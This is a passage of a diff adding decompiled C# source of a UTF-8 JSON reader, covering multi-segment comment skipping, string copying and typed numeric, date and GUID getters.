totalConsumed; + } + else if (_tokenType == JsonTokenType.StartArray) + { + if (ConsumeValueMultiSegment(b)) + { + goto IL_0391; + } + } + else if (_tokenType == JsonTokenType.PropertyName) + { + if (ConsumeValueMultiSegment(b)) + { + goto IL_0391; + } + } + else if (_inObject) + { + if (b != 34) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyNotFound, b); + } + if (ConsumePropertyNameMultiSegment()) + { + goto IL_0391; + } + } + else if (ConsumeValueMultiSegment(b)) + { + goto IL_0391; + } + goto IL_0393; + } + EndArray(); + } + goto IL_0391; + } + if ((int)_previousTokenType <= 1 || _previousTokenType == JsonTokenType.StartArray || _trailingCommaBeforeComment) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyOrValueAfterComment, b); + } + _consumed++; + _bytePositionInLine++; + if (_consumed >= (uint)_buffer.Length) + { + if (IsLastSpan) + { + _consumed--; + _bytePositionInLine--; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyOrValueNotFound, 0); + } + if (!GetNextSpan()) + { + if (IsLastSpan) + { + _consumed--; + _bytePositionInLine--; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyOrValueNotFound, 0); + } + goto IL_0393; + } + } + b = _buffer[_consumed]; + if (b <= 32) + { + SkipWhiteSpaceMultiSegment(); + if (!HasMoreDataMultiSegment(ExceptionResource.ExpectedStartOfPropertyOrValueNotFound)) + { + goto IL_0393; + } + b = _buffer[_consumed]; + } + TokenStartIndex = BytesConsumed; + if (b == 47) + { + _trailingCommaBeforeComment = true; + if (SkipOrConsumeCommentMultiSegmentWithRollback()) + { + goto IL_0391; + } + } + else if (_inObject) + { + if (b != 34) + { + if (b == 125) + { + if (_readerOptions.AllowTrailingCommas) + { + EndObject(); + goto IL_0391; + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.TrailingCommaNotAllowedBeforeObjectEnd, 0); + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyNotFound, b); + } + if (ConsumePropertyNameMultiSegment()) + { + goto IL_0391; + } + } + else + { + if (b == 93) + { + if (_readerOptions.AllowTrailingCommas) + { + EndArray(); + goto IL_0391; + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.TrailingCommaNotAllowedBeforeArrayEnd, 0); + } + if (ConsumeValueMultiSegment(b)) + { + goto IL_0391; + } + } + } + goto IL_0393; + IL_0393: + return ConsumeTokenResult.NotEnoughDataRollBackState; + IL_0391: + return ConsumeTokenResult.Success; + } + + private bool SkipAllCommentsMultiSegment(scoped ref byte marker) + { + while (true) + { + if (marker == 47) + { + if (!SkipOrConsumeCommentMultiSegmentWithRollback() || !HasMoreDataMultiSegment()) + { + break; + } + marker = _buffer[_consumed]; + if (marker <= 32) + { + SkipWhiteSpaceMultiSegment(); + if (!HasMoreDataMultiSegment()) + { + break; + } + marker = _buffer[_consumed]; + } + continue; + } + return true; + } + return false; + } + + private bool SkipAllCommentsMultiSegment(scoped ref byte marker, ExceptionResource resource) + { + while (true) + { + if (marker == 47) + { + if (!SkipOrConsumeCommentMultiSegmentWithRollback() || !HasMoreDataMultiSegment(resource)) + { + break; + } + marker = _buffer[_consumed]; + if (marker <= 32) + { + SkipWhiteSpaceMultiSegment(); + if (!HasMoreDataMultiSegment(resource)) + { + break; + } + marker = _buffer[_consumed]; + } + continue; + } + return true; + } + return false; + } + + private ConsumeTokenResult ConsumeNextTokenUntilAfterAllCommentsAreSkippedMultiSegment(byte marker) + { + if (SkipAllCommentsMultiSegment(ref marker)) + { + TokenStartIndex = BytesConsumed; + if (_tokenType == JsonTokenType.StartObject) + { + if (marker == 125) + { + EndObject(); + } + else + { + if (marker != 34) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyNotFound, marker); + } + long totalConsumed = _totalConsumed; + int consumed = _consumed; + long bytePositionInLine = _bytePositionInLine; + long lineNumber = _lineNumber; + SequencePosition currentPosition = _currentPosition; + if (!ConsumePropertyNameMultiSegment()) + { + _consumed = consumed; + _tokenType = JsonTokenType.StartObject; + _bytePositionInLine = bytePositionInLine; + _lineNumber = lineNumber; + _totalConsumed = totalConsumed; + _currentPosition = currentPosition; + goto IL_02e7; + } + } + } + else if (_tokenType == JsonTokenType.StartArray) + { + if (marker == 93) + { + EndArray(); + } + else if (!ConsumeValueMultiSegment(marker)) + { + goto IL_02e7; + } + } + else if (_tokenType == JsonTokenType.PropertyName) + { + if (!ConsumeValueMultiSegment(marker)) + { + goto IL_02e7; + } + } + else if (_bitStack.CurrentDepth == 0) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedEndAfterSingleJson, marker); + } + else + { + switch (marker) + { + case 44: + _consumed++; + _bytePositionInLine++; + if (_consumed >= (uint)_buffer.Length) + { + if (IsLastSpan) + { + _consumed--; + _bytePositionInLine--; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyOrValueNotFound, 0); + } + if (!GetNextSpan()) + { + if (IsLastSpan) + { + _consumed--; + _bytePositionInLine--; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyOrValueNotFound, 0); + } + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + } + marker = _buffer[_consumed]; + if (marker <= 32) + { + SkipWhiteSpaceMultiSegment(); + if (!HasMoreDataMultiSegment(ExceptionResource.ExpectedStartOfPropertyOrValueNotFound)) + { + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + marker = _buffer[_consumed]; + } + if (SkipAllCommentsMultiSegment(ref marker, ExceptionResource.ExpectedStartOfPropertyOrValueNotFound)) + { + TokenStartIndex = BytesConsumed; + if (_inObject) + { + if (marker != 34) + { + if (marker == 125) + { + if (_readerOptions.AllowTrailingCommas) + { + EndObject(); + break; + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.TrailingCommaNotAllowedBeforeObjectEnd, 0); + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyNotFound, marker); + } + if (!ConsumePropertyNameMultiSegment()) + { + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + return ConsumeTokenResult.Success; + } + if (marker == 93) + { + if (_readerOptions.AllowTrailingCommas) + { + EndArray(); + break; + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.TrailingCommaNotAllowedBeforeArrayEnd, 0); + } + if (!ConsumeValueMultiSegment(marker)) + { + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + return ConsumeTokenResult.Success; + } + return ConsumeTokenResult.NotEnoughDataRollBackState; + case 125: + EndObject(); + break; + case 93: + EndArray(); + break; + default: + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.FoundInvalidCharacter, marker); + break; + } + } + return ConsumeTokenResult.Success; + } + goto IL_02e7; + IL_02e7: + return ConsumeTokenResult.IncompleteNoRollBackNecessary; + } + + private bool SkipOrConsumeCommentMultiSegmentWithRollback() + { + long bytesConsumed = BytesConsumed; + SequencePosition start = new SequencePosition(_currentPosition.GetObject(), _currentPosition.GetInteger() + _consumed); + int tailBytesToIgnore; + bool flag = SkipCommentMultiSegment(out tailBytesToIgnore); + if (flag) + { + if (_readerOptions.CommentHandling == JsonCommentHandling.Allow) + { + SequencePosition end = new SequencePosition(_currentPosition.GetObject(), _currentPosition.GetInteger() + _consumed); + ReadOnlySequence readOnlySequence = _sequence.Slice(start, end); + readOnlySequence = readOnlySequence.Slice(2L, readOnlySequence.Length - 2 - tailBytesToIgnore); + HasValueSequence = !readOnlySequence.IsSingleSegment; + if (HasValueSequence) + { + ValueSequence = readOnlySequence; + } + else + { + ValueSpan = readOnlySequence.First.Span; + } + if (_tokenType != JsonTokenType.Comment) + { + _previousTokenType = _tokenType; + } + _tokenType = JsonTokenType.Comment; + } + } + else + { + _totalConsumed = bytesConsumed; + _consumed = 0; + } + return flag; + } + + private bool SkipCommentMultiSegment(out int tailBytesToIgnore) + { + _consumed++; + _bytePositionInLine++; + ReadOnlySpan localBuffer = _buffer.Slice(_consumed); + if (localBuffer.Length == 0) + { + if (IsLastSpan) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.UnexpectedEndOfDataWhileReadingComment, 0); + } + if (!GetNextSpan()) + { + if (IsLastSpan) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.UnexpectedEndOfDataWhileReadingComment, 0); + } + tailBytesToIgnore = 0; + return false; + } + localBuffer = _buffer; + } + byte b = localBuffer[0]; + if (b != 47 && b != 42) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.InvalidCharacterAtStartOfComment, b); + } + bool flag = b == 42; + _consumed++; + _bytePositionInLine++; + localBuffer = localBuffer.Slice(1); + if (localBuffer.Length == 0) + { + if (IsLastSpan) + { + tailBytesToIgnore = 0; + if (flag) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.UnexpectedEndOfDataWhileReadingComment, 0); + } + return true; + } + if (!GetNextSpan()) + { + tailBytesToIgnore = 0; + if (IsLastSpan) + { + if (flag) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.UnexpectedEndOfDataWhileReadingComment, 0); + } + return true; + } + return false; + } + localBuffer = _buffer; + } + if (flag) + { + tailBytesToIgnore = 2; + return SkipMultiLineCommentMultiSegment(localBuffer); + } + return SkipSingleLineCommentMultiSegment(localBuffer, out tailBytesToIgnore); + } + + private bool SkipSingleLineCommentMultiSegment(ReadOnlySpan localBuffer, out int tailBytesToSkip) + { + bool flag = false; + int dangerousLineSeparatorBytesConsumed = 0; + tailBytesToSkip = 0; + while (true) + { + if (flag) + { + if (localBuffer[0] == 10) + { + tailBytesToSkip++; + _consumed++; + } + break; + } + int num = FindLineSeparatorMultiSegment(localBuffer, ref dangerousLineSeparatorBytesConsumed); + if (num != -1) + { + tailBytesToSkip++; + _consumed += num + 1; + _bytePositionInLine += num + 1; + if (localBuffer[num] == 10) + { + break; + } + if (num < localBuffer.Length - 1) + { + if (localBuffer[num + 1] == 10) + { + tailBytesToSkip++; + _consumed++; + _bytePositionInLine++; + } + break; + } + flag = true; + } + else + { + _consumed += localBuffer.Length; + _bytePositionInLine += localBuffer.Length; + } + if (IsLastSpan) + { + if (flag) + { + break; + } + return true; + } + if (!GetNextSpan()) + { + if (IsLastSpan) + { + if (flag) + { + break; + } + return true; + } + return false; + } + localBuffer = _buffer; + } + _bytePositionInLine = 0L; + _lineNumber++; + return true; + } + + private int FindLineSeparatorMultiSegment(ReadOnlySpan localBuffer, scoped ref int dangerousLineSeparatorBytesConsumed) + { + if (dangerousLineSeparatorBytesConsumed != 0) + { + ThrowOnDangerousLineSeparatorMultiSegment(localBuffer, ref dangerousLineSeparatorBytesConsumed); + if (dangerousLineSeparatorBytesConsumed != 0) + { + return -1; + } + } + int num = 0; + do + { + int num2 = localBuffer.IndexOfAny((byte)10, (byte)13, (byte)226); + dangerousLineSeparatorBytesConsumed = 0; + if (num2 == -1) + { + return -1; + } + if (localBuffer[num2] != 226) + { + return num + num2; + } + int num3 = num2 + 1; + localBuffer = localBuffer.Slice(num3); + num += num3; + dangerousLineSeparatorBytesConsumed++; + ThrowOnDangerousLineSeparatorMultiSegment(localBuffer, ref dangerousLineSeparatorBytesConsumed); + } + while (dangerousLineSeparatorBytesConsumed == 0); + return -1; + } + + private void ThrowOnDangerousLineSeparatorMultiSegment(ReadOnlySpan localBuffer, scoped ref int dangerousLineSeparatorBytesConsumed) + { + if (localBuffer.IsEmpty) + { + return; + } + if (dangerousLineSeparatorBytesConsumed == 1) + { + if (localBuffer[0] != 128) + { + dangerousLineSeparatorBytesConsumed = 0; + return; + } + localBuffer = localBuffer.Slice(1); + dangerousLineSeparatorBytesConsumed++; + if (localBuffer.IsEmpty) + { + return; + } + } + if (dangerousLineSeparatorBytesConsumed == 2) + { + byte b = localBuffer[0]; + if (b == 168 || b == 169) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.UnexpectedEndOfLineSeparator, 0); + } + else + { + dangerousLineSeparatorBytesConsumed = 0; + } + } + } + + private bool SkipMultiLineCommentMultiSegment(ReadOnlySpan localBuffer) + { + bool flag = false; + bool flag2 = false; + while (true) + { + if (flag) + { + if (localBuffer[0] == 47) + { + _consumed++; + _bytePositionInLine++; + return true; + } + flag = false; + } + if (flag2) + { + if (localBuffer[0] == 10) + { + _consumed++; + localBuffer = localBuffer.Slice(1); + } + flag2 = false; + } + int num = localBuffer.IndexOfAny((byte)42, (byte)10, (byte)13); + if (num != -1) + { + int num2 = num + 1; + byte b = localBuffer[num]; + localBuffer = localBuffer.Slice(num2); + _consumed += num2; + switch (b) + { + case 42: + flag = true; + _bytePositionInLine += num2; + break; + case 10: + _bytePositionInLine = 0L; + _lineNumber++; + break; + default: + _bytePositionInLine = 0L; + _lineNumber++; + flag2 = true; + break; + } + } + else + { + _consumed += localBuffer.Length; + _bytePositionInLine += localBuffer.Length; + localBuffer = ReadOnlySpan.Empty; + } + if (!localBuffer.IsEmpty) + { + continue; + } + if (IsLastSpan) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.UnexpectedEndOfDataWhileReadingComment, 0); + } + if (!GetNextSpan()) + { + if (!IsLastSpan) + { + break; + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.UnexpectedEndOfDataWhileReadingComment, 0); + } + localBuffer = _buffer; + } + return false; + } + + private PartialStateForRollback CaptureState() + { + return new PartialStateForRollback(_totalConsumed, _bytePositionInLine, _consumed, _currentPosition); + } + + public string? GetString() + { + if (TokenType == JsonTokenType.Null) + { + return null; + } + if (TokenType != JsonTokenType.String && TokenType != JsonTokenType.PropertyName) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedString(TokenType); + } + ReadOnlySpan readOnlySpan = (HasValueSequence ? ((ReadOnlySpan)ValueSequence.ToArray()) : ValueSpan); + if (ValueIsEscaped) + { + return JsonReaderHelper.GetUnescapedString(readOnlySpan); + } + return JsonReaderHelper.TranscodeHelper(readOnlySpan); + } + + public readonly int CopyString(Span utf8Destination) + { + JsonTokenType tokenType = _tokenType; + if ((tokenType != JsonTokenType.PropertyName && tokenType != JsonTokenType.String) || 1 == 0) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedString(_tokenType); + } + return CopyValue(utf8Destination); + } + + internal readonly int CopyValue(Span utf8Destination) + { + int bytesWritten; + if (ValueIsEscaped) + { + if (!TryCopyEscapedString(utf8Destination, out bytesWritten)) + { + utf8Destination.Slice(0, bytesWritten).Clear(); + ThrowHelper.ThrowArgumentException_DestinationTooShort(); + } + } + else if (HasValueSequence) + { + ReadOnlySequence source = ValueSequence; + source.CopyTo(utf8Destination); + bytesWritten = (int)source.Length; + } + else + { + ReadOnlySpan valueSpan = ValueSpan; + valueSpan.CopyTo(utf8Destination); + bytesWritten = valueSpan.Length; + } + JsonReaderHelper.ValidateUtf8(utf8Destination.Slice(0, bytesWritten)); + return bytesWritten; + } + + public readonly int CopyString(Span destination) + { + JsonTokenType tokenType = _tokenType; + if ((tokenType != JsonTokenType.PropertyName && tokenType != JsonTokenType.String) || 1 == 0) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedString(_tokenType); + } + return CopyValue(destination); + } + + internal readonly int CopyValue(Span destination) + { + byte[] array = null; + ReadOnlySpan utf8Unescaped; + if (ValueIsEscaped) + { + int valueLength = ValueLength; + Span span = ((valueLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(valueLength))) : stackalloc byte[256]); + Span destination2 = span; + int bytesWritten; + bool flag = TryCopyEscapedString(destination2, out bytesWritten); + utf8Unescaped = destination2.Slice(0, bytesWritten); + } + else if (HasValueSequence) + { + ReadOnlySequence source = ValueSequence; + int valueLength = checked((int)source.Length); + Span span2 = ((valueLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(valueLength))) : stackalloc byte[256]); + Span destination3 = span2; + source.CopyTo(destination3); + utf8Unescaped = destination3.Slice(0, valueLength); + } + else + { + utf8Unescaped = ValueSpan; + } + int result = JsonReaderHelper.TranscodeHelper(utf8Unescaped, destination); + if (array != null) + { + new Span(array, 0, utf8Unescaped.Length).Clear(); + ArrayPool.Shared.Return(array); + } + return result; + } + + private readonly bool TryCopyEscapedString(Span destination, out int bytesWritten) + { + byte[] array = null; + ReadOnlySpan source2; + if (HasValueSequence) + { + ReadOnlySequence source = ValueSequence; + int num = checked((int)source.Length); + Span span = ((num > 256) ? ((Span)(array = ArrayPool.Shared.Rent(num))) : stackalloc byte[256]); + Span destination2 = span; + source.CopyTo(destination2); + source2 = destination2.Slice(0, num); + } + else + { + source2 = ValueSpan; + } + bool result = JsonReaderHelper.TryUnescape(source2, destination, out bytesWritten); + if (array != null) + { + new Span(array, 0, source2.Length).Clear(); + ArrayPool.Shared.Return(array); + } + return result; + } + + public string GetComment() + { + if (TokenType != JsonTokenType.Comment) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedComment(TokenType); + } + ReadOnlySpan utf8Unescaped = (HasValueSequence ? ((ReadOnlySpan)ValueSequence.ToArray()) : ValueSpan); + return JsonReaderHelper.TranscodeHelper(utf8Unescaped); + } + + public bool GetBoolean() + { + switch (TokenType) + { + case JsonTokenType.True: + return true; + default: + ThrowHelper.ThrowInvalidOperationException_ExpectedBoolean(TokenType); + break; + case JsonTokenType.False: + break; + } + return false; + } + + public byte[] GetBytesFromBase64() + { + if (!TryGetBytesFromBase64(out byte[] value)) + { + ThrowHelper.ThrowFormatException(DataType.Base64String); + } + return value; + } + + public byte GetByte() + { + if (!TryGetByte(out var value)) + { + ThrowHelper.ThrowFormatException(NumericType.Byte); + } + return value; + } + + internal byte GetByteWithQuotes() + { + ReadOnlySpan unescapedSpan = GetUnescapedSpan(); + if (!TryGetByteCore(out var value, unescapedSpan)) + { + ThrowHelper.ThrowFormatException(NumericType.Byte); + } + return value; + } + + [CLSCompliant(false)] + public sbyte GetSByte() + { + if (!TryGetSByte(out var value)) + { + ThrowHelper.ThrowFormatException(NumericType.SByte); + } + return value; + } + + internal sbyte GetSByteWithQuotes() + { + ReadOnlySpan unescapedSpan = GetUnescapedSpan(); + if (!TryGetSByteCore(out var value, unescapedSpan)) + { + ThrowHelper.ThrowFormatException(NumericType.SByte); + } + return value; + } + + public short GetInt16() + { + if (!TryGetInt16(out var value)) + { + ThrowHelper.ThrowFormatException(NumericType.Int16); + } + return value; + } + + internal short GetInt16WithQuotes() + { + ReadOnlySpan unescapedSpan = GetUnescapedSpan(); + if (!TryGetInt16Core(out var value, unescapedSpan)) + { + ThrowHelper.ThrowFormatException(NumericType.Int16); + } + return value; + } + + public int GetInt32() + { + if (!TryGetInt32(out var value)) + { + ThrowHelper.ThrowFormatException(NumericType.Int32); + } + return value; + } + + internal int GetInt32WithQuotes() + { + ReadOnlySpan unescapedSpan = GetUnescapedSpan(); + if (!TryGetInt32Core(out var value, unescapedSpan)) + { + ThrowHelper.ThrowFormatException(NumericType.Int32); + } + return value; + } + + public long GetInt64() + { + if (!TryGetInt64(out var value)) + { + ThrowHelper.ThrowFormatException(NumericType.Int64); + } + return value; + } + + internal long GetInt64WithQuotes() + { + ReadOnlySpan unescapedSpan = GetUnescapedSpan(); + if (!TryGetInt64Core(out var value, unescapedSpan)) + { + ThrowHelper.ThrowFormatException(NumericType.Int64); + } + return value; + } + + [CLSCompliant(false)] + public ushort GetUInt16() + { + if (!TryGetUInt16(out var value)) + { + ThrowHelper.ThrowFormatException(NumericType.UInt16); + } + return value; + } + + internal ushort GetUInt16WithQuotes() + { + ReadOnlySpan unescapedSpan = GetUnescapedSpan(); + if (!TryGetUInt16Core(out var value, unescapedSpan)) + { + ThrowHelper.ThrowFormatException(NumericType.UInt16); + } + return value; + } + + [CLSCompliant(false)] + public uint GetUInt32() + { + if (!TryGetUInt32(out var value)) + { + ThrowHelper.ThrowFormatException(NumericType.UInt32); + } + return value; + } + + internal uint GetUInt32WithQuotes() + { + ReadOnlySpan unescapedSpan = GetUnescapedSpan(); + if (!TryGetUInt32Core(out var value, unescapedSpan)) + { + ThrowHelper.ThrowFormatException(NumericType.UInt32); + } + return value; + } + + [CLSCompliant(false)] + public ulong GetUInt64() + { + if (!TryGetUInt64(out var value)) + { + ThrowHelper.ThrowFormatException(NumericType.UInt64); + } + return value; + } + + internal ulong GetUInt64WithQuotes() + { + ReadOnlySpan unescapedSpan = GetUnescapedSpan(); + if (!TryGetUInt64Core(out var value, unescapedSpan)) + { + ThrowHelper.ThrowFormatException(NumericType.UInt64); + } + return value; + } + + public float GetSingle() + { + if (!TryGetSingle(out var value)) + { + ThrowHelper.ThrowFormatException(NumericType.Single); + } + return value; + } + + internal float GetSingleWithQuotes() + { + ReadOnlySpan unescapedSpan = GetUnescapedSpan(); + if (JsonReaderHelper.TryGetFloatingPointConstant(unescapedSpan, out float value)) + { + return value; + } + if (!Utf8Parser.TryParse(unescapedSpan, out value, out int bytesConsumed, '\0') || unescapedSpan.Length != bytesConsumed || !JsonHelpers.IsFinite(value)) + { + ThrowHelper.ThrowFormatException(NumericType.Single); + } + return value; + } + + internal float GetSingleFloatingPointConstant() + { + ReadOnlySpan unescapedSpan = GetUnescapedSpan(); + if (!JsonReaderHelper.TryGetFloatingPointConstant(unescapedSpan, out float value)) + { + ThrowHelper.ThrowFormatException(NumericType.Single); + } + return value; + } + + public double GetDouble() + { + if (!TryGetDouble(out var value)) + { + ThrowHelper.ThrowFormatException(NumericType.Double); + } + return value; + } + + internal double GetDoubleWithQuotes() + { + ReadOnlySpan unescapedSpan = GetUnescapedSpan(); + if (JsonReaderHelper.TryGetFloatingPointConstant(unescapedSpan, out double value)) + { + return value; + } + if (!Utf8Parser.TryParse(unescapedSpan, out value, out int bytesConsumed, '\0') || unescapedSpan.Length != bytesConsumed || !JsonHelpers.IsFinite(value)) + { + ThrowHelper.ThrowFormatException(NumericType.Double); + } + return value; + } + + internal double GetDoubleFloatingPointConstant() + { + ReadOnlySpan unescapedSpan = GetUnescapedSpan(); + if (!JsonReaderHelper.TryGetFloatingPointConstant(unescapedSpan, out double value)) + { + ThrowHelper.ThrowFormatException(NumericType.Double); + } + return value; + } + + public decimal GetDecimal() + { + if (!TryGetDecimal(out var value)) + { + ThrowHelper.ThrowFormatException(NumericType.Decimal); + } + return value; + } + + internal decimal GetDecimalWithQuotes() + { + ReadOnlySpan unescapedSpan = GetUnescapedSpan(); + if (!TryGetDecimalCore(out var value, unescapedSpan)) + { + ThrowHelper.ThrowFormatException(NumericType.Decimal); + } + return value; + } + + public DateTime GetDateTime() + { + if (!TryGetDateTime(out var value)) + { + ThrowHelper.ThrowFormatException(DataType.DateTime); + } + return value; + } + + internal DateTime GetDateTimeNoValidation() + { + if (!TryGetDateTimeCore(out var value)) + { + ThrowHelper.ThrowFormatException(DataType.DateTime); + } + return value; + } + + public DateTimeOffset GetDateTimeOffset() + { + if (!TryGetDateTimeOffset(out var value)) + { + ThrowHelper.ThrowFormatException(DataType.DateTimeOffset); + } + return value; + } + + internal DateTimeOffset GetDateTimeOffsetNoValidation() + { + if (!TryGetDateTimeOffsetCore(out var value)) + { + ThrowHelper.ThrowFormatException(DataType.DateTimeOffset); + } + return value; + } + + public Guid GetGuid() + { + if (!TryGetGuid(out var value)) + { + ThrowHelper.ThrowFormatException(DataType.Guid); + } + return value; + } + + internal Guid GetGuidNoValidation() + { + if (!TryGetGuidCore(out var value)) + { + ThrowHelper.ThrowFormatException(DataType.Guid); + } + return value; + } + + public bool TryGetBytesFromBase64([NotNullWhen(true)] out byte[]? value) + { + if (TokenType != JsonTokenType.String) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedString(TokenType); + } + ReadOnlySpan readOnlySpan = (HasValueSequence ? ((ReadOnlySpan)ValueSequence.ToArray()) : ValueSpan); + if (ValueIsEscaped) + { + return JsonReaderHelper.TryGetUnescapedBase64Bytes(readOnlySpan, out value); + } + return JsonReaderHelper.TryDecodeBase64(readOnlySpan, out value); + } + + public bool TryGetByte(out byte value) + { + if (TokenType != JsonTokenType.Number) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedNumber(TokenType); + } + ReadOnlySpan span = (HasValueSequence ? ((ReadOnlySpan)ValueSequence.ToArray()) : ValueSpan); + return TryGetByteCore(out value, span); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static bool TryGetByteCore(out byte value, ReadOnlySpan span) + { + if (Utf8Parser.TryParse(span, out byte value2, out int bytesConsumed, '\0') && span.Length == bytesConsumed) + { + value = value2; + return true; + } + value = 0; + return false; + } + + [CLSCompliant(false)] + public bool TryGetSByte(out sbyte value) + { + if (TokenType != JsonTokenType.Number) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedNumber(TokenType); + } + ReadOnlySpan span = (HasValueSequence ? ((ReadOnlySpan)ValueSequence.ToArray()) : ValueSpan); + return TryGetSByteCore(out value, span); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static bool TryGetSByteCore(out sbyte value, ReadOnlySpan span) + { + if (Utf8Parser.TryParse(span, out sbyte value2, out int bytesConsumed, '\0') && span.Length == bytesConsumed) + { + value = value2; + return true; + } + value = 0; + return false; + } + + public bool TryGetInt16(out short value) + { + if (TokenType != JsonTokenType.Number) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedNumber(TokenType); + } + ReadOnlySpan span = (HasValueSequence ? ((ReadOnlySpan)ValueSequence.ToArray()) : ValueSpan); + return TryGetInt16Core(out value, span); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static bool TryGetInt16Core(out short value, ReadOnlySpan span) + { + if (Utf8Parser.TryParse(span, out short value2, out int bytesConsumed, '\0') && span.Length == bytesConsumed) + { + value = value2; + return true; + } + value = 0; + return false; + } + + public bool TryGetInt32(out int value) + { + if (TokenType != JsonTokenType.Number) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedNumber(TokenType); + } + ReadOnlySpan span = (HasValueSequence ? ((ReadOnlySpan)ValueSequence.ToArray()) : ValueSpan); + return TryGetInt32Core(out value, span); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static bool TryGetInt32Core(out int value, ReadOnlySpan span) + { + if (Utf8Parser.TryParse(span, out int value2, out int bytesConsumed, '\0') && span.Length == bytesConsumed) + { + value = value2; + return true; + } + value = 0; + return false; + } + + public bool TryGetInt64(out long value) + { + if (TokenType != JsonTokenType.Number) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedNumber(TokenType); + } + ReadOnlySpan span = (HasValueSequence ? ((ReadOnlySpan)ValueSequence.ToArray()) : ValueSpan); + return TryGetInt64Core(out value, span); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static bool TryGetInt64Core(out long value, ReadOnlySpan span) + { + if (Utf8Parser.TryParse(span, out long value2, out int bytesConsumed, '\0') && span.Length == bytesConsumed) + { + value = value2; + return true; + } + value = 0L; + return false; + } + + [CLSCompliant(false)] + public bool TryGetUInt16(out ushort value) + { + if (TokenType != JsonTokenType.Number) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedNumber(TokenType); + } + ReadOnlySpan span = (HasValueSequence ? ((ReadOnlySpan)ValueSequence.ToArray()) : ValueSpan); + return TryGetUInt16Core(out value, span); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static bool TryGetUInt16Core(out ushort value, ReadOnlySpan span) + { + if (Utf8Parser.TryParse(span, out ushort value2, out int bytesConsumed, '\0') && span.Length == bytesConsumed) + { + value = value2; + return true; + } + value = 0; + return false; + } + + [CLSCompliant(false)] + public bool TryGetUInt32(out uint value) + { + if (TokenType != JsonTokenType.Number) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedNumber(TokenType); + } + ReadOnlySpan span = (HasValueSequence ? ((ReadOnlySpan)ValueSequence.ToArray()) : ValueSpan); + return TryGetUInt32Core(out value, span); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static bool TryGetUInt32Core(out uint value, ReadOnlySpan span) + { + if (Utf8Parser.TryParse(span, out uint value2, out int bytesConsumed, '\0') && span.Length == bytesConsumed) + { + value = value2; + return true; + } + value = 0u; + return false; + } + + [CLSCompliant(false)] + public bool TryGetUInt64(out ulong value) + { + if (TokenType != JsonTokenType.Number) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedNumber(TokenType); + } + ReadOnlySpan span = (HasValueSequence ? ((ReadOnlySpan)ValueSequence.ToArray()) : ValueSpan); + return TryGetUInt64Core(out value, span); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static bool TryGetUInt64Core(out ulong value, ReadOnlySpan span) + { + if (Utf8Parser.TryParse(span, out ulong value2, out int bytesConsumed, '\0') && span.Length == bytesConsumed) + { + value = value2; + return true; + } + value = 0uL; + return false; + } + + public bool TryGetSingle(out float value) + { + if (TokenType != JsonTokenType.Number) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedNumber(TokenType); + } + ReadOnlySpan source = (HasValueSequence ? ((ReadOnlySpan)ValueSequence.ToArray()) : ValueSpan); + if (Utf8Parser.TryParse(source, out float value2, out int bytesConsumed, '\0') && source.Length == bytesConsumed) + { + value = value2; + return true; + } + value = 0f; + return false; + } + + public bool TryGetDouble(out double value) + { + if (TokenType != JsonTokenType.Number) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedNumber(TokenType); + } + ReadOnlySpan source = (HasValueSequence ? ((ReadOnlySpan)ValueSequence.ToArray()) : ValueSpan); + if (Utf8Parser.TryParse(source, out double value2, out int bytesConsumed, '\0') && source.Length == bytesConsumed) + { + value = value2; + return true; + } + value = 0.0; + 